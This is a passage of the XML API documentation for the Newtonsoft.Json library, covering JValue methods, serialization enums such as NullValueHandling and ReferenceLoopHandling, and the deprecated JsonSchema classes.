cref=\"T:Newtonsoft.Json.Linq.JValue\"/> comment with the given value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateString(System.String)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> string with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> string with the given value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateNull\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> null value.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> null value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateUndefined\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> undefined value.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> undefined value.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.Value\">\n            <summary>\n            Gets or sets the underlying token value.\n            </summary>\n            <value>The underlying token value.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>s which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.Equals(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Indicates whether the current object is equal to another object of the same type.\n            </summary>\n            <returns>\n            <c>true</c> if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, <c>false</c>.\n            </returns>\n            <param name=\"other\">An object to compare with this object.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.Equals(System.Object)\">\n            <summary>\n            Determines whether the specified <see cref=\"T:System.Object\"/> is equal to the current <see cref=\"T:System.Object\"/>.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> to compare with the current <see cref=\"T:System.Object\"/>.</param>\n            <returns>\n            <c>true</c> if the specified <see cref=\"T:System.Object\"/> is equal to the current <see cref=\"T:System.Object\"/>; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.GetHashCode\">\n            <summary>\n            Serves as a hash function for a particular type.\n            </summary>\n            <returns>\n            A hash code for the current <see cref=\"T:System.Object\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <remarks>\n            <c>ToString()</c> returns a non-JSON string value for tokens with a type of <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.String\"/>.\n            If you want the JSON for all token types then you should use <see cref=\"M:Newtonsoft.Json.Linq.JValue.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\"/>.\n            </remarks>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.String)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"format\">The format.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.IFormatProvider)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"formatProvider\">The format provider.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.String,System.IFormatProvider)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"format\">The format.</param>\n            <param name=\"formatProvider\">The format provider.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CompareTo(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object.\n            </summary>\n            <param name=\"obj\">An object to compare with this instance.</param>\n            <returns>\n            A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings:\n            Value\n            Meaning\n            Less than zero\n            This instance is less than <paramref name=\"obj\"/>.\n            Zero\n            This instance is equal to <paramref name=\"obj\"/>.\n            Greater than zero\n            This instance is greater than <paramref name=\"obj\"/>.\n            </returns>\n            <exception cref=\"T:System.ArgumentException\">\n            \t<paramref name=\"obj\"/> is not of the same type as this instance.\n            </exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.LineInfoHandling\">\n            <summary>\n            Specifies how line information is handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Ignore\">\n            <summary>\n            Ignore line information.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Load\">\n            <summary>\n            Load line information.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.MergeArrayHandling\">\n            <summary>\n            Specifies how JSON arrays are merged together.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Concat\">\n            <summary>Concatenate arrays.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Union\">\n            <summary>Union arrays, skipping items that already exist.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Replace\">\n            <summary>Replace all array items.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Merge\">\n            <summary>Merge array items together, matched by index.</summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.MergeNullValueHandling\">\n            <summary>\n            Specifies how null value properties are merged.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeNullValueHandling.Ignore\">\n            <summary>\n            The content's null value properties will be ignored during merging.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeNullValueHandling.Merge\">\n            <summary>\n            The content's null value properties will be merged.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MemberSerialization\">\n            <summary>\n            Specifies the member serialization options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.OptOut\">\n            <summary>\n            All public members are serialized by default. Members can be excluded using <see cref=\"T:Newtonsoft.Json.JsonIgnoreAttribute\"/> or <see cref=\"T:System.NonSerializedAttribute\"/>.\n            This is the default member serialization mode.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.OptIn\">\n            <summary>\n            Only members marked with <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> or <see cref=\"T:System.Runtime.Serialization.DataMemberAttribute\"/> are serialized.\n            This member serialization mode can also be set by marking the class with <see cref=\"T:System.Runtime.Serialization.DataContractAttribute\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.Fields\">\n            <summary>\n            All public and private fields are serialized. Members can be excluded using <see cref=\"T:Newtonsoft.Json.JsonIgnoreAttribute\"/> or <see cref=\"T:System.NonSerializedAttribute\"/>.\n            This member serialization mode can also be set by marking the class with <see cref=\"T:System.SerializableAttribute\"/>\n            and setting IgnoreSerializableAttribute on <see cref=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\"/> to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MetadataPropertyHandling\">\n            <summary>\n            Specifies metadata property handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\">\n            <summary>\n            Read metadata properties located at the start of a JSON object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.ReadAhead\">\n            <summary>\n            Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.Ignore\">\n            <summary>\n            Do not try to read metadata properties.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MissingMemberHandling\">\n            <summary>\n            Specifies missing member handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\">\n            <summary>\n            Ignore a missing member and do not attempt to deserialize it.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MissingMemberHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> when a missing member is encountered during deserialization.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.NullValueHandling\">\n            <summary>\n            Specifies null value handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeNullValueHandlingObject\" title=\"NullValueHandling Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeNullValueHandlingExample\" title=\"NullValueHandling Ignore Example\" />\n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.NullValueHandling.Include\">\n            <summary>\n            Include null values when serializing and deserializing objects.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.NullValueHandling.Ignore\">\n            <summary>\n            Ignore null values when serializing and deserializing objects.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ObjectCreationHandling\">\n            <summary>\n            Specifies how object creation is handled by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\">\n            <summary>\n            Reuse existing objects, create new objects when needed.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Reuse\">\n            <summary>\n            Only reuse existing objects.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Replace\">\n            <summary>\n            Always create new objects.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.PreserveReferencesHandling\">\n            <summary>\n            Specifies reference handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement <see cref=\"T:System.Runtime.Serialization.ISerializable\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"PreservingObjectReferencesOn\" title=\"Preserve Object References\" />       \n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\">\n            <summary>\n            Do not preserve references when serializing types.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.Objects\">\n            <summary>\n            Preserve references when serializing into a JSON object structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.Arrays\">\n            <summary>\n            Preserve references when serializing into a JSON array structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.All\">\n            <summary>\n            Preserve references when serializing.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ReferenceLoopHandling\">\n            <summary>\n            Specifies reference loop handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> when a loop is encountered.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Ignore\">\n            <summary>\n            Ignore loop references and do not serialize.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Serialize\">\n            <summary>\n            Serialize loop references.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Required\">\n            <summary>\n            Indicating whether a property is required.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.Default\">\n            <summary>\n            The property is not required. The default state.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.AllowNull\">\n            <summary>\n            The property must be defined in JSON but can be a null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.Always\">\n            <summary>\n            The property must be defined in JSON and cannot be a null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.DisallowNull\">\n            <summary>\n            The property is not required but it cannot be a null value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.Extensions\">\n            <summary>\n            <para>\n            Contains the JSON schema extension methods.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.IsValid(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema)\">\n            <summary>\n            <para>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.IsValid(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema,System.Collections.Generic.IList{System.String}@)\">\n            <summary>\n            <para>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <param name=\"errorMessages\">When this method returns, contains any error messages generated while validating. </param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.Validate(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema)\">\n            <summary>\n            <para>\n            Validates the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.Validate(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema,Newtonsoft.Json.Schema.ValidationEventHandler)\">\n            <summary>\n            <para>\n            Validates the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <param name=\"validationEventHandler\">The validation event handler.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchema\">\n            <summary>\n            <para>\n            An in-memory representation of a JSON Schema.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Id\">\n            <summary>\n            Gets or sets the id.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Title\">\n            <summary>\n            Gets or sets the title.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Required\">\n            <summary>\n            Gets or sets whether the object is required.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ReadOnly\">\n            <summary>\n            Gets or sets whether the object is read-only.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Hidden\">\n            <summary>\n            Gets or sets whether the object is visible to users.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Transient\">\n            <summary>\n            Gets or sets whether the object is transient.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Description\">\n            <summary>\n            Gets or sets the description of the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Type\">\n            <summary>\n            Gets or sets the types of values allowed by the object.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Pattern\">\n            <summary>\n            Gets or sets the pattern.\n            </summary>\n            <value>The pattern.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MinimumLength\">\n            <summary>\n            Gets or sets the minimum length.\n            </summary>\n            <value>The minimum length.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MaximumLength\">\n            <summary>\n            Gets or sets the maximum length.\n            </summary>\n            <value>The maximum length.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.DivisibleBy\">\n            <summary>\n            Gets or sets a number that the value should be divisible by.\n            </summary>\n            <value>A number that the value should be divisible by.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\">\n            <summary>\n            Gets or sets the minimum.\n            </summary>\n            <value>The minimum.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\">\n            <summary>\n            Gets or sets the maximum.\n            </summary>\n            <value>The maximum.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ExclusiveMinimum\">\n            <summary>\n            Gets or sets a flag indicating whether the value can not equal the number defined by the <c>minimum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\"/>).\n            </summary>\n            <value>A flag indicating whether the value can not equal the number defined by the <c>minimum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\"/>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ExclusiveMaximum\">\n            <summary>\n            Gets or sets a flag indicating whether the value can not equal the number defined by the <c>maximum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\"/>).\n            </summary>\n            <value>A flag indicating whether the value can not equal the number defined by the <c>maximum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\"/>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MinimumItems\">\n            <summary>\n            Gets or sets the minimum number of items.\n            </summary>\n            <value>The minimum number of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MaximumItems\">\n            <summary>\n            Gets or sets the maximum number of items.\n            </summary>\n            <value>The maximum number of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Items\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of items.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.PositionalItemsValidation\">\n            <summary>\n            Gets or sets a value indicating whether items in an array are validated using the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> instance at their array position from <see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Items\"/>.\n            </summary>\n            <value>\n            \t<c>true</c> if items are validated using their array position; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AdditionalItems\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional items.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AllowAdditionalItems\">\n            <summary>\n            Gets or sets a value indicating whether additional items are allowed.\n            </summary>\n            <value>\n            \t<c>true</c> if additional items are allowed; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.UniqueItems\">\n            <summary>\n            Gets or sets whether the array items must be unique.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Properties\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of properties.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AdditionalProperties\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional properties.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.PatternProperties\">\n            <summary>\n            Gets or sets the pattern properties.\n            </summary>\n            <value>The pattern properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AllowAdditionalProperties\">\n            <summary>\n            Gets or sets a value indicating whether additional properties are allowed.\n            </summary>\n            <value>\n            \t<c>true</c> if additional properties are allowed; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Requires\">\n            <summary>\n            Gets or sets the required property if this property is present.\n            </summary>\n            <value>The required property if this property is present.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Enum\">\n            <summary>\n            Gets or sets the a collection of valid enum values allowed.\n            </summary>\n            <value>A collection of valid enum values allowed.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Disallow\">\n            <summary>\n            Gets or sets disallowed types.\n            </summary>\n            <value>The disallowed types.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Default\">\n            <summary>\n            Gets or sets the default value.\n            </summary>\n            <value>The default value.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Extends\">\n            <summary>\n            Gets or sets the collection of <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> that this schema extends.\n            </summary>\n            <value>The collection of <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> that this schema extends.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Format\">\n            <summary>\n            Gets or sets the format.\n            </summary>\n            <value>The format.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Read(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Reads a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the JSON Schema to read.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> object representing the JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Read(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Reads a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the JSON Schema to read.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> to use when resolving schema references.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> object representing the JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a string that contains JSON Schema.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON Schema.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> populated from the string that contains JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Parse(System.String,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a string that contains JSON Schema using the specified <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/>.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON Schema.</param>\n            <param name=\"resolver\">The resolver.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> populated from the string that contains JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.WriteTo(Newtonsoft.Json.JsonWriter)\">\n            <summary>\n            Writes this schema to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Writes this schema to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> using the specified <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"resolver\">The resolver used.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents the current <see cref=\"T:System.Object\"/>.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents the current <see cref=\"T:System.Object\"/>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaException\">\n            <summary>\n            <para>\n            Returns detailed information about the schema exception.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            